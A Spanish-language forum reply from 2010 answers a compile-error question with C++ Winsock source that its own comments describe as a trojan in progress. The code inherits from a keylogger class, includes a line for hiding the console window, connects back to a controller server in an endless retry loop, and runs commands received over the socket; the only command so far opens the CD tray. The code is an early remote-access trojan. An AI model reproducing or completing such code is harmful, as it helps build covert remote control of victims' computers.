01/07/2010, 14:11
|
| | | Fecha de Ingreso: marzo-2010
Mensajes: 1.336
Antigüedad: 14 años, 8 meses Puntos: 15 | |
Respuesta: ayuda con error al compilar. Mira el codigo.
Código:
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <mmsystem.h>
#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
using namespace std;
class Main : public Keylog {
public:
};
int main()
{
//ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi.
WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
char Buffer[1024];
int len;
char abrir[]="abrir";
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
//Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas
host=gethostbyname("127.0.0.1"); //localhost = 127.0.0.1 ;P
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1)
{
cout<<"SE HA PRODUCIDO UN ERROR";
cout<<"/n"; //Si se produce un error al crear el socket
main(); //Llamamos de nuevo a la función principal para seguir intentandolo
}
cout<<"se creo el socket"<<endl;
//Definimos la dirección a conectar que hemos recibido desde el gethostbyname
//y decimos que el puerto al que deberá conectar
direc.sin_family=AF_INET;
direc.sin_port=htons(5000); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
while (conex==-1)
{ //Esto es lo que hará si no se puede conetar:
cout<<"intento de conexion"<<endl;
Sleep(1000); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo
//Por ahora lo dejamos asi para hacer mas comodas las pruevas
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos.
}
len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de
//caracteres a enviar
while (len!=0) //Mientras que permanezcamoos conectados
{
len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
cout<<"recibiendo"<<endl;
Sleep(1000);
if (len>0) //Si seguimos conectados...
{
Buffer[len]=0; //le ponemos el final de cadena
string x=string(Buffer,5);
if(x=="abrir"){
mciSendString("open CDAudio", NULL, 0, NULL);
mciSendString("set CDAudio door open", NULL, 0, NULL);
len=send(sock,"ok",2,0);
}
cout<<endl;
//imprimimos la cadena recibida
}
}
main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse
}
saludos |